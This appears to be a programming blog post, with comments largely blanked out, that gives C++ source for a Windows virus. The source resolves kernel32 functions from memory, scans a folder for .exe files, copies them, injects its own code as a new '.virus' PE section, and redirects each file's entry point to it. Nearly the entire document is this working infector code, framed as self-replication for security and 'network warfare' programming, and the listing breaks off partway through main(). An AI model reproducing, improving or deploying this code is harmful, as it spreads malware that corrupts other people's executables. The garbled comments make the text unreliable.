visual c++に基づくwindowsコアプログラミングコード分析(65)プログラム自己複製を実現


私たちが情報セキュリティとネットワーク戦のプログラミングを行うとき、プログラムの自己複製を実現する必要があります.
プログラムの自己複製をどのように実現するか、
コードを参照
 
#include <iostream.h>
#include <windows.h>
#include <stdio.h>

//////////////////////////////////////////////////////////////////////////
//*******************************************************************
//*******       *******
//*******          API    
//*******           
//*******************************************************************
//////////////////////////////////////////////////////////////////////////
void VirusCode()
{
	//////////////////////////////////////////////////////////////////////////
	//	*******                    *******
	//	*******         *******
	//////////////////////////////////////////////////////////////////////////
	//////////////////////////////////////////////////////////////////////////
	//	*******    *******
	//	**dwCodeBegin	:        
	//	**dwCodeEnd		:        
	//	**dwMyCodeAddr	:           
	//////////////////////////////////////////////////////////////////////////
	DWORD dwCodeBegin , dwCodeEnd , dwMyCodeAddr;
	
	//	*******    *******
	PBYTE pMove = NULL;
	
	//	*******               *******
	_asm
	{
		call	A
A:
		pop		eax
			
		mov		dwMyCodeAddr , eax
	}
	
	//	*******       *******
	pMove = (PBYTE)dwMyCodeAddr;
	
	//	*******               *******
	while(!((*pMove == 0x55) && (*(pMove + 1) == 0x8B)))
	{
		pMove --;
	}
	
	//	*******  pMove       push ebp *******
	dwCodeBegin = (DWORD)pMove;
	
	//cout << "     :" << hex << dwCodeBegin << endl;
	
	//	*******            *******
	pMove = (PBYTE)dwMyCodeAddr;
	
	while (!((*(pMove + 1) == 0x5B) && (*pMove == 0x5E) && (*(pMove - 1) == 0x5F) 
			&& (*(pMove + 2) == 0x8B) && (*(pMove + 3) == 0xE5)))
	{
		pMove ++;
	}
	
	pMove += 9;
	//	*******  pMove  ret      pop ebp *******
	dwCodeEnd = (DWORD)pMove;

	DWORD dwFunCodeLen;
	dwFunCodeLen = dwCodeEnd - dwCodeBegin;

	//////////////////////////////////////////////////////////////////////////
	//	*******                *******
	//////////////////////////////////////////////////////////////////////////

	//////////////////////////////////////////////////////////////////////////
	//////////////////////////////////////////////////////////////////////////
	//	*******      API    
	//////////////////////////////////////////////////////////////////////////
	//////////////////////////////////////////////////////////////////////////

	//	*******        *******
	char GetProcAddrName[] = {'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0'};
	char LoadLibName[] = {'L','o','a','d','L','i','b','r','a','r','y','A','\0'};
	
	DWORD KernelBase;
	//	*******             ,           *******
	_asm
	{
		mov eax , [ebp+4]
			mov KernelBase,eax
	}

	//////////////////////////////////////////////////////////////////////////
	//	*******        Kernel32.dll   *******
	//////////////////////////////////////////////////////////////////////////
	KernelBase = KernelBase & 0Xffff0000;
	
	//	*******      kernel32.dll     *******
	IMAGE_DOS_HEADER *doshead;
	
	while(KernelBase >= 0X70000000)
	{
		//	*******    dos   *******
		doshead = (IMAGE_DOS_HEADER*)KernelBase;
		if(doshead->e_magic == IMAGE_DOS_SIGNATURE)
		{
			//	*******   NT   *******
			IMAGE_NT_HEADERS* nthead;
			nthead = (IMAGE_NT_HEADERS*)((LPBYTE)doshead+doshead->e_lfanew);
			if(nthead->Signature == IMAGE_NT_SIGNATURE)
			{
				break;
			}
		}
		KernelBase-=0x10000;
	}

	//////////////////////////////////////////////////////////////////////////
	//	*******      kernel32.dll  GetProcAddress   *******
	//////////////////////////////////////////////////////////////////////////

	DWORD AddrOfGetProcAddr , AddrOfLoadLib;
	IMAGE_DOS_HEADER* pFile1;	//  dos   
	IMAGE_NT_HEADERS* pFile2;	//  nt   
	
	//	*******        *******
	pFile1 = (IMAGE_DOS_HEADER* )KernelBase;
	if(pFile1->e_magic != IMAGE_DOS_SIGNATURE)
	{
		return;
	}
	pFile2 = (IMAGE_NT_HEADERS*)((PBYTE)pFile1 + pFile1->e_lfanew);
	if(pFile2->Signature != IMAGE_NT_SIGNATURE)
	{
		return;
	}
	
	IMAGE_EXPORT_DIRECTORY *pExport;
	pExport = (IMAGE_EXPORT_DIRECTORY *)((PBYTE)pFile1 + pFile2->OptionalHeader.DataDirectory[0].VirtualAddress);
	
	//	*******            "GetProcAddress"     *******
	char *FunName;
	DWORD *AddrOfNameRVA;
	WORD *AddrOfNameOrRVA;
	
	AddrOfNameRVA = (DWORD*)(KernelBase + pExport->AddressOfNames);
	for (int i = 0 ; i < (int)pExport->NumberOfNames ; i++)
	{
		FunName = (char*)(KernelBase + AddrOfNameRVA[i]);

		//	*******       "GetProcAddress"    *******
		BOOL eql = 1;
		for (int j = 0 ; j < 15 ; j ++)
		{
			if (GetProcAddrName[j] != FunName[j])
			{
				eql = 0;
				break;
			}
		}
		//	*******        ,     *******
		if (eql)
		{
			AddrOfNameOrRVA = (WORD*)(KernelBase + pExport->AddressOfNameOrdinals);
			
			int num = 0;
			
			num = pExport->Base + AddrOfNameOrRVA[i];
			
			DWORD *AddrOfFun;
			
			AddrOfFun = (DWORD*)(KernelBase + pExport->AddressOfFunctions);
			AddrOfGetProcAddr = KernelBase + AddrOfFun[num - 1];
			
			break;
		}
	}

	//////////////////////////////////////////////////////////////////////////
	//////////////////////////////////////////////////////////////////////////
	//	*******          API    *******
	//////////////////////////////////////////////////////////////////////////
	//////////////////////////////////////////////////////////////////////////

	//	*******  GetProcAddress    *******
	typedef DWORD (WINAPI *stGetProcAddress)(HMODULE , LPCSTR);
	
	//	*******  LoadLibraryA    *******
	typedef DWORD (WINAPI *stLoadLibrary)(LPCSTR);

	//	*******  GetProcAddress  LoadLibrary  *******
	//	*******  GetProcAddress    *******
	stGetProcAddress myGetProcAddress;
	
	//	*******      *******
	myGetProcAddress = (stGetProcAddress)AddrOfGetProcAddr;
	
	//	*******  GetProcAddress*******
	AddrOfLoadLib = myGetProcAddress((HMODULE)KernelBase , LoadLibName);
	
	//	*******  LoadLibrary    *******
	stLoadLibrary myLoadLibrary;
	
	//	*******      *******
	myLoadLibrary = (stLoadLibrary)AddrOfLoadLib;
	
	char User32Name[] = {'u','s','e','r','3','2','.','d','l','l','\0'};
	DWORD User32Base;	//  user32.dll   
	
	//	*******  user32.dll   *******
	User32Base = myLoadLibrary(User32Name);
	
	//////////////////////////////////////////////////////////////////////////
	//	*****  CreateFile    *****
	//////////////////////////////////////////////////////////////////////////
	//	*****        *****
	typedef HANDLE (WINAPI *stCreateFile)(LPCTSTR , DWORD , DWORD , LPSECURITY_ATTRIBUTES , 
							DWORD , DWORD , HANDLE);
	//	*****      *****
	stCreateFile myCreateFile;

	//	*****         *****
	char CreateFileName[] = {'C','r','e','a','t','e','F','i','l','e','A','\0'};

	//	*****      *****
	myCreateFile = (stCreateFile)myGetProcAddress((HMODULE)KernelBase , CreateFileName);


	//////////////////////////////////////////////////////////////////////////
	//	*****  CreateFileMapping    *****
	//////////////////////////////////////////////////////////////////////////
	//	*****        *****
	typedef HANDLE (WINAPI *stCreateFileMapping)(HANDLE , LPSECURITY_ATTRIBUTES , 
		DWORD , DWORD , DWORD , LPCTSTR );

	//	*****      *****
	stCreateFileMapping myCreateFileMapping;

	//	*****         *****
	char CreateFileMappingName[] = {'C','r','e','a','t','e','F','i','l','e',
									'M','a','p','p','i','n','g','A','\0'};

	//	*****      *****
	myCreateFileMapping = (stCreateFileMapping)myGetProcAddress((HMODULE)KernelBase , 
							CreateFileMappingName);
	

	//////////////////////////////////////////////////////////////////////////
	//	*****  MapViewOfFile    *****
	//////////////////////////////////////////////////////////////////////////
	//	*****        *****
	typedef LPVOID (WINAPI *stMapViewOfFile)(HANDLE , DWORD , DWORD , DWORD , DWORD);

	//	*****      *****
	stMapViewOfFile myMapViewOfFile;
	
	//	*****         *****
	char MapViewOfFileName[] = {'M','a','p','V','i','e','w','O','f','F','i','l','e','\0'};
	
	//	*****      *****
	myMapViewOfFile = (stMapViewOfFile)myGetProcAddress((HMODULE)KernelBase , 
														MapViewOfFileName);


	//////////////////////////////////////////////////////////////////////////
	//	*****  GlobalAlloc    *****
	//////////////////////////////////////////////////////////////////////////
	//	*****        *****
	typedef HGLOBAL (WINAPI *stGlobalAlloc)(UINT , SIZE_T);

	//	*****      *****
	stGlobalAlloc myGlobalAlloc;
	
	//	*****         *****
	char GlobalAllocName[] = {'G','l','o','b','a','l','A','l','l','o','c','\0'};
	
	//	*****      *****
	myGlobalAlloc = (stGlobalAlloc)myGetProcAddress((HMODULE)KernelBase , 
														GlobalAllocName);



	//////////////////////////////////////////////////////////////////////////
	//	*****  RtlMoveMemory    *****
	//////////////////////////////////////////////////////////////////////////
	//	*****        *****
	typedef void (WINAPI *stRtlMoveMemory)(PVOID , const VOID* , SIZE_T );
	
	//	*****      *****
	stRtlMoveMemory myRtlMoveMemory;
	
	//	*****         *****
	char RtlMoveMemoryName[] = {'R','t','l','M','o','v','e','M','e','m','o','r','y','\0'};
	
	//	*****      *****
	myRtlMoveMemory = (stRtlMoveMemory)myGetProcAddress((HMODULE)KernelBase , 
														RtlMoveMemoryName);




	//////////////////////////////////////////////////////////////////////////
	//	*****  SetFilePointer    *****
	//////////////////////////////////////////////////////////////////////////
	//	*****        *****
	typedef DWORD (WINAPI *stSetFilePointer)(HANDLE , LONG , PLONG , DWORD);
	
	//	*****      *****
	stSetFilePointer mySetFilePointer;
	
	//	*****         *****
	char SetFilePointerName[] = {'S','e','t','F','i','l','e','P','o','i','n','t','e','r','\0'};
	
	//	*****      *****
	mySetFilePointer = (stSetFilePointer)myGetProcAddress((HMODULE)KernelBase , 
														SetFilePointerName);


	//////////////////////////////////////////////////////////////////////////
	//	*****  WriteFile    *****
	//////////////////////////////////////////////////////////////////////////
	//	*****        *****
	typedef BOOL (WINAPI *stWriteFile)(HANDLE , LPCVOID , DWORD , LPDWORD , LPOVERLAPPED);
	
	//	*****      *****
	stWriteFile myWriteFile;
	
	//	*****         *****
	char WriteFileName[] = {'W','r','i','t','e','F','i','l','e','\0'};
	
	//	*****      *****
	myWriteFile = (stWriteFile)myGetProcAddress((HMODULE)KernelBase , 
														WriteFileName);


	//////////////////////////////////////////////////////////////////////////
	//	*****  SetEndOfFile    *****
	//////////////////////////////////////////////////////////////////////////
	//	*****        *****
	typedef BOOL (WINAPI *stSetEndOfFile)(HANDLE);

	//	*****      *****
	stSetEndOfFile mySetEndOfFile;
	
	//	*****         *****
	char SetEndOfFileName[] = {'S','e','t','E','n','d','O','f','F','i','l','e','\0'};
	
	//	*****      *****
	mySetEndOfFile = (stSetEndOfFile)myGetProcAddress((HMODULE)KernelBase , 
														SetEndOfFileName);


	//////////////////////////////////////////////////////////////////////////
	//	*****  CloseHandle    *****
	//////////////////////////////////////////////////////////////////////////
	//	*****        *****
	typedef BOOL (WINAPI *stCloseHandle)(HANDLE);

	//	*****      *****
	stCloseHandle myCloseHandle;
	
	//	*****         *****
	char CloseHandleName[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'};
	
	//	*****      *****
	myCloseHandle = (stCloseHandle)myGetProcAddress((HMODULE)KernelBase , 
														CloseHandleName);


	//////////////////////////////////////////////////////////////////////////
	//	*****  UnmapViewOfFile    *****
	//////////////////////////////////////////////////////////////////////////
	//	*****        *****
	typedef BOOL (WINAPI *stUnmapViewOfFile)(LPCVOID);


	//	*****      *****
	stUnmapViewOfFile myUnmapViewOfFile;
	
	//	*****         *****
	char UnmapViewOfFileName[] = {'U','n','m','a','p','V','i','e','w','O','f','F','i','l','e','\0'};
	
	//	*****      *****
	myUnmapViewOfFile = (stUnmapViewOfFile)myGetProcAddress((HMODULE)KernelBase , 
														UnmapViewOfFileName);


	//////////////////////////////////////////////////////////////////////////
	//	*****  FindFirstFile    *****
	//////////////////////////////////////////////////////////////////////////
	//	*****        *****
	typedef HANDLE (WINAPI *stFindFirstFile)(LPCTSTR , LPWIN32_FIND_DATA);


	//	*****      *****
	stFindFirstFile myFindFirstFile;
	
	//	*****         *****
	char FindFirstFileName[] = {'F','i','n','d','F','i','r','s','t','F','i','l','e','A','\0'};
	
	//	*****      *****
	myFindFirstFile = (stFindFirstFile)myGetProcAddress((HMODULE)KernelBase , 
														FindFirstFileName);


	//////////////////////////////////////////////////////////////////////////
	//	*****  CopyFile    *****
	//////////////////////////////////////////////////////////////////////////
	//	*****        *****
	typedef BOOL (WINAPI *stCopyFile)(LPCTSTR , LPCTSTR , BOOL);


	//	*****      *****
	stCopyFile myCopyFile;
	
	//	*****         *****
	char CopyFileName[] = {'C','o','p','y','F','i','l','e','A','\0'};
	
	//	*****      *****
	myCopyFile = (stCopyFile)myGetProcAddress((HMODULE)KernelBase , 
														CopyFileName);


	//////////////////////////////////////////////////////////////////////////
	//	*****  FindNextFile    *****
	//////////////////////////////////////////////////////////////////////////
	//	*****        *****
	typedef BOOL (WINAPI *stFindNextFile)(HANDLE , LPWIN32_FIND_DATA);

	//	*****      *****
	stFindNextFile myFindNextFile;
	
	//	*****         *****
	char FindNextFileName[] = {'F','i','n','d','N','e','x','t','F','i','l','e','A','\0'};
	
	//	*****      *****
	myFindNextFile = (stFindNextFile)myGetProcAddress((HMODULE)KernelBase , 
														FindNextFileName);


	//////////////////////////////////////////////////////////////////////////
	//	*****  FindClose    *****
	//////////////////////////////////////////////////////////////////////////
	//	*****        *****
	typedef BOOL (WINAPI *stFindClose)(HANDLE); 

	//	*****      *****
	stFindClose myFindClose;
	
	//	*****         *****
	char FindCloseName[] = {'F','i','n','d','C','l','o','s','e','\0'};
	
	//	*****      *****
	myFindClose = (stFindClose)myGetProcAddress((HMODULE)KernelBase , 
														FindCloseName);


	//////////////////////////////////////////////////////////////////////////
	//	*****  lstrcat    *****
	//////////////////////////////////////////////////////////////////////////
	//	*****        *****
	typedef LPTSTR (WINAPI *stlstrcat)(LPTSTR ,	LPTSTR);

	//	*****      *****
	stlstrcat mylstrcat;
	
	//	*****         *****
	char lstrcatName[] = {'l','s','t','r','c','a','t','\0'};
	
	//	*****      *****
	mylstrcat = (stlstrcat)myGetProcAddress((HMODULE)KernelBase , 
														lstrcatName);


	//////////////////////////////////////////////////////////////////////////
	//	*****  lstrcpy    *****
	//////////////////////////////////////////////////////////////////////////
	//	*****        *****
	typedef LPTSTR (WINAPI *stlstrcpy)(LPTSTR , LPTSTR);

	//	*****      *****
	stlstrcpy mylstrcpy;
	
	//	*****         *****
	char lstrcpyName[] = {'l','s','t','r','c','p','y','\0'};
	
	//	*****      *****
	mylstrcpy = (stlstrcpy)myGetProcAddress((HMODULE)KernelBase , 
														lstrcpyName);


	//////////////////////////////////////////////////////////////////////////
	//	*****  lstrlen    *****
	//////////////////////////////////////////////////////////////////////////
	//	*****        *****
	typedef int (WINAPI *stlstrlen)(LPCTSTR);

	//	*****      *****
	stlstrlen mylstrlen;
	
	//	*****         *****
	char lstrlenName[] = {'l','s','t','r','l','e','n','\0'};
	
	//	*****      *****
	mylstrlen = (stlstrlen)myGetProcAddress((HMODULE)KernelBase , 
														lstrlenName);


	//////////////////////////////////////////////////////////////////////////
	//	*****  RtlZeroMemory    *****
	//////////////////////////////////////////////////////////////////////////
	//	*****        *****
	typedef void (WINAPI *stRtlZeroMemory)(PVOID , SIZE_T);
	
	//	*****      *****
	stRtlZeroMemory myRtlZeroMemory;
	
	//	*****         *****
	char RtlZeroMemoryName[] = {'R','t','l','Z','e','r','o','M','e','m','o','r','y','\0'};
	
	//	*****      *****
	myRtlZeroMemory = (stRtlZeroMemory)myGetProcAddress((HMODULE)KernelBase , 
														RtlZeroMemoryName);

	//////////////////////////////////////////////////////////////////////////
	//////////////////////////////////////////////////////////////////////////
	//	*******         API*******
	//////////////////////////////////////////////////////////////////////////
	//////////////////////////////////////////////////////////////////////////

	//////////////////////////////////////////////////////////////////////////
	//////////////////////////////////////////////////////////////////////////
	//	*******             *******
	//////////////////////////////////////////////////////////////////////////
	//////////////////////////////////////////////////////////////////////////

	
	//	*******            *******
	char SourceDirFilter[] = {'D',':','\\','s','o','u','r','c','e','\\','*','.','e','x','e','\0'};

	//	*******        *******
	char SourceDir[] = {'D',':','\\','s','o','u','r','c','e','\\','\0'};

	//	*******      *******
	char DestDir[] = {'D',':','\\','d','e','s','t','i','n','a','\\','\0'};

	WIN32_FIND_DATA findBuf;

	//	*******       *******
	HANDLE hFileFind = myFindFirstFile(SourceDirFilter , &findBuf);
	
	//	*******     ,            +   *******
	char *SourDirNameBuf = (char*)myGlobalAlloc(GPTR , MAX_PATH);

	//	*******     ,             +   *******
	char *DestDirNameBuf = (char*)myGlobalAlloc(GPTR , MAX_PATH);

	//	*******              *******
	do 
	{
		//	*******     *******
		myRtlZeroMemory(SourDirNameBuf , MAX_PATH);
		myRtlZeroMemory(DestDirNameBuf , MAX_PATH);

		//	*******          *******
		mylstrcpy(SourDirNameBuf , SourceDir);

		//	*******                *******
		mylstrcat(SourDirNameBuf , findBuf.cFileName);

		//	*******           *******
		mylstrcpy(DestDirNameBuf , DestDir);

		//	*******                *******
		mylstrcat(DestDirNameBuf , findBuf.cFileName);


		//////////////////////////////////////////////////////////////////////////
		//	*******          *******
		//////////////////////////////////////////////////////////////////////////
		HANDLE hFile , hMapFile;
		LPVOID pMapOfFile = NULL;
		
		char SecName[] = {'.','v','i','r','u','s','\0'};	//      

		//////////////////////////////////////////////////////////////////////////
		//*******       *******
		//////////////////////////////////////////////////////////////////////////
		//	*******    *******
		hFile = myCreateFile(SourDirNameBuf , GENERIC_READ , FILE_SHARE_READ | 
			FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);
		
		if (INVALID_HANDLE_VALUE == hFile)
		{
			goto TheNextFile;
		}
		
		//	*******      *******
		hMapFile = myCreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL);
		
		if (!hMapFile)
		{
			goto CLOSEFILEHANDLE;
		}
		
		//	*******         *******
		pMapOfFile = myMapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0);
		
		if (!pMapOfFile)
		{
			goto CLOSEMAPHANDLE;
		}
		
		IMAGE_DOS_HEADER *pDosHeader;
		
		//	********  DOS   *******
		pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile;
		
		if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
		{
			goto FreeViewOfMap;
		}
		
		IMAGE_NT_HEADERS *pNtHeader;
		
		//	*******  NT   *******
		pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew);
		
		if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)
		{
			goto FreeViewOfMap;
		}

		//////////////////////////////////////////////////////////////////////////
		//	*******      *******
		//////////////////////////////////////////////////////////////////////////
		//	*******         *******
		int SecNum;
		SecNum = pNtHeader->FileHeader.NumberOfSections;

		//	*******        *******
		IMAGE_SECTION_HEADER *pSecHeader;
		pSecHeader = (IMAGE_SECTION_HEADER*)((PBYTE)pNtHeader + 248);

		int i ;
		//	*******        ,        virus         *******
		for (i = 0 ; i < SecNum ; i ++)
		{
			char *SecNameAddr = (char*)pSecHeader->Name;
			
			if ((SecNameAddr[0] == '.') && (SecNameAddr[1] == 'v') && 
				(SecNameAddr[2] == 'i') && (SecNameAddr[3] == 'r') &&
				(SecNameAddr[4] == 'u') && (SecNameAddr[5] == 's'))
			{
				//	*******    *******
				goto FreeViewOfMap;
			}
			//	*******       *******
			pSecHeader ++;
		}


		//////////////////////////////////////////////////////////////////////////
		//*******    *******
		//////////////////////////////////////////////////////////////////////////
		BOOL bCopy;
		
		//	*******                 *******
		bCopy = myCopyFile(SourDirNameBuf , DestDirNameBuf , FALSE);

		if (!bCopy)
		{
			goto FreeViewOfMap;
		}
		
		HANDLE hNewFile;

		//	*******         *******
		hNewFile = myCreateFile(DestDirNameBuf , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ 
			| FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);
		
		if (!hNewFile)
		{
			goto FreeViewOfMap;
		}
		
		HGLOBAL pNewFileHeader;
		
		//	*******              ,         *******
		pNewFileHeader = myGlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders);
		
		if (!pNewFileHeader)
		{
			goto CloseNewFileHandle;
		}
		
		//	*******           *******
		myRtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders);
		
		//	*******            NT    *******
		IMAGE_NT_HEADERS *pNewFileNtHeader;
		
		pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + pDosHeader->e_lfanew);

		
		//////////////////////////////////////////////////////////////////////////
		//*******       *******
		//*******pMapOfFile			:	        
		//*******pDosHeader			:	      DOS ,       ,        
		//*******pNTHeader			:	      NT 
		//*******pNewFileHeader		:	      
		//*******pNewFileNtHeader	:	    NT 
		//////////////////////////////////////////////////////////////////////////
		//****************************************************************
		//*******          *******
		//****************************************************************
		int nSecNum;
		nSecNum = pNtHeader->FileHeader.NumberOfSections;
		IMAGE_SECTION_HEADER *pLastSec , *pNewSec;
		
		//	*******              *******
		pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader + sizeof(IMAGE_NT_HEADERS)
			+ (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER));
		
		//	*******pNewSec           ,          *******
		pNewSec = pLastSec + 1;
		
		//*******           *******
		//*****     1*****
		pNewFileNtHeader->FileHeader.NumberOfSections ++;
		
		//*****         *****
		pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData;
		
		//*****         *****
		int nAlignNum;
		
		nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment;
		if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0)
		{
			nAlignNum++;
		}
		pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment;
		
		//*****                  *****
		nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment;
		if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
		{
			nAlignNum ++;
		}
		pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum * 
			pNewFileNtHeader->OptionalHeader.SectionAlignment;
		
		//*****          *****
		pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum * 
			pNewFileNtHeader->OptionalHeader.SectionAlignment;
		
		//*****          *****
		//*****                           *****
		nAlignNum = pLastSec->Misc.VirtualSize / 
			pNewFileNtHeader->OptionalHeader.SectionAlignment;
		if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
		{
			nAlignNum ++;
		}
		pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment 
			+ pLastSec->VirtualAddress;
		
		//*****         *****
		pNewSec->Misc.VirtualSize = dwFunCodeLen;
		
		//*****      *****
		pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | 
			IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
		
		//*****    *****
		mylstrcpy((char*)pNewSec->Name , SecName);
		
		//*****      *****
		pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress;
		
		BOOL bWrite;
		DWORD dwHeaderSize , dwWriten;
		dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders);
		bWrite = myWriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize , 
								&dwWriten , NULL);
		
		//////////////////////////////////////////////////////////////////////////
		//*****          *****
		//////////////////////////////////////////////////////////////////////////
		DWORD dwSetFileP;
		
		//*****            *****
		dwSetFileP = mySetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN);
		if (!dwSetFileP)
		{
			goto CloseNewFileHandle;
		}
		
		//*****      *****
		bWrite = myWriteFile(hNewFile , (LPVOID)dwCodeBegin , dwFunCodeLen , &dwWriten , NULL);
		if (!bWrite)
		{
			goto CloseNewFileHandle;
		}
		
		//*****       *****
		dwSetFileP = mySetFilePointer(hNewFile , pNewSec->PointerToRawData + 
			pNewSec->SizeOfRawData , NULL , FILE_BEGIN);
		if (!dwSetFileP)
		{
			goto CloseNewFileHandle;
		}
		
		//*****      *****
		if (!mySetEndOfFile(hNewFile))
		{
			goto CloseNewFileHandle;
		}

		//////////////////////////////////////////////////////////////////////////
		//*******       *******
		//////////////////////////////////////////////////////////////////////////
		PBYTE pModifyAddr;
		pModifyAddr = (PBYTE)pNewSec->VirtualAddress;
		
		pModifyAddr	+= dwFunCodeLen;
		
		int nSub;    //     
		nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr;
		
		DWORD dwModifyLoca;
		dwModifyLoca = pNewSec->PointerToRawData;
		dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5;
				
		//	*****               *****
		dwSetFileP = mySetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN);
		if (!dwSetFileP)
		{
			goto CloseNewFileHandle;
		}
		//*****  jmp  *****
		BYTE bJmp;
		bJmp = 0XE9;
		bWrite = myWriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL);
		if (!bWrite)
		{
			goto CloseNewFileHandle;
		}
		//*****      *****
		bWrite = myWriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL);
		if (!bWrite)
		{
			goto CloseNewFileHandle;
		}

	//////////////////////////////////////////////////////////////////////////
	//*******    *******
	//////////////////////////////////////////////////////////////////////////
CloseNewFileHandle:
	myCloseHandle(hNewFile);
FreeViewOfMap:
	myUnmapViewOfFile(pMapOfFile);
CLOSEMAPHANDLE:
	myCloseHandle(hMapFile);
CLOSEFILEHANDLE:
	myCloseHandle(hFile);
TheNextFile:
	;
	} while (myFindNextFile(hFileFind , &findBuf));

	myFindClose(hFileFind);

	return;
}



//////////////////////////////////////////////////////////////////////////
//*******************************************************************
//*******   *******
//*******************************************************************
//////////////////////////////////////////////////////////////////////////
void main()
{
//*******************************************************************
//*******            ,    ,    *******
//*******************************************************************
	/////////////////////////////////////////////////////////////////
	//	*******    *******
	//	**dwFunBegAddr	:         
	//	**dwFunEndAddr	:         
	//	**dwFunCodeLen	:      
	//	**dwJmpOff		:    jmp         
	//	**pMove			:       
	/////////////////////////////////////////////////////////////////
	DWORD dwFunBegAddr , dwJmpOff , dwFunEndAddr , dwFunCodeLen;
	PBYTE pMove = NULL;
	
	//	*******         jmp  *******
	pMove = (PBYTE)VirusCode;
	
	cout << "   jmp   :" << (PVOID)pMove << endl;
	//	*******   jmp      *******
	pMove ++;

	//	*******        *******
	dwJmpOff = *((PDWORD)pMove);

	//	*******jmp        (code + 5)+             *******
	dwFunBegAddr = (DWORD)VirusCode + 5 + dwJmpOff;

	cout << "  jmp      :" <<(PVOID)dwJmpOff << endl;
	cout << "     :" << (PVOID)dwFunBegAddr << endl;
	
	//	*******               *******
	//	*******              *******
	pMove = (PBYTE)dwFunBegAddr;

	//	*******    ,    *******
	while (!((*(pMove + 1) == 0xc3) && (*pMove == 0x5D) && (*(pMove - 1) == 0xE5)))
	{
		pMove ++;
	}

	//	*******  pMove  ret     *******
	//	*******pMove   5   ,      jmp    *******
	pMove +=5;
	dwFunEndAddr = (DWORD)pMove;


	cout << "       :" << (PVOID)dwFunEndAddr << endl;

	//	*******          ,      *******
	dwFunCodeLen = dwFunEndAddr - dwFunBegAddr;

	cout << "      :" << (int)dwFunCodeLen << endl;

//*******************************************************************
//*******    exe         *******
//*******************************************************************
	HANDLE hFile , hMapFile;
	LPVOID pMapOfFile = NULL;
	
//*******************************************************************
//*******       *******
//*******************************************************************
	//	*******    *******
	hFile = CreateFile("test.exe" , GENERIC_READ , FILE_SHARE_READ | 
			FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);

	if (INVALID_HANDLE_VALUE == hFile)
	{
		cout << "CreateFile Error!" << endl;
		return;
	}

	//	*******      *******
	hMapFile = CreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL);

	if (!hMapFile)
	{
		cout << "CreateFileMapping Error!" << endl;
		goto CLOSEFILEHANDLE;
	}

	//	*******         *******
	pMapOfFile = MapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0);

	if (!pMapOfFile)
	{
		cout << "MapViewOfFile Error!" << endl;
		goto CLOSEMAPHANDLE;
	}

	IMAGE_DOS_HEADER *pDosHeader;

	//	********  DOS   *******
	pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile;

	if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
	{
		cout << "Check Dos Header Error!" << endl;
		goto FreeViewOfMap;
	}

	IMAGE_NT_HEADERS *pNtHeader;

	//	*******  NT   *******
	pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew);

	if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)
	{
		cout << "Check NT Header Error!" << endl;
		goto FreeViewOfMap;
	}


//***************************************************************
//*******    *******
//***************************************************************
	BOOL bCopy;

	//	*******                 *******
	bCopy = CopyFile("test.exe" , "test_virus.exe" , FALSE);
	if (!bCopy)
	{
		cout << "CopyFile Error!" << endl;
	}

	HANDLE hNewFile;

	//	*******         *******
	hNewFile = CreateFile("test_virus.exe" , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ 
				| FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);

	if (!hNewFile)
	{
		cout << "CreateFile Error!" << endl;
		goto FreeViewOfMap;
	}

	HGLOBAL pNewFileHeader;

	//	*******              ,         *******
	pNewFileHeader = GlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders);

	if (!pNewFileHeader)
	{
		cout << "GlobalAlloc Error!" << endl;
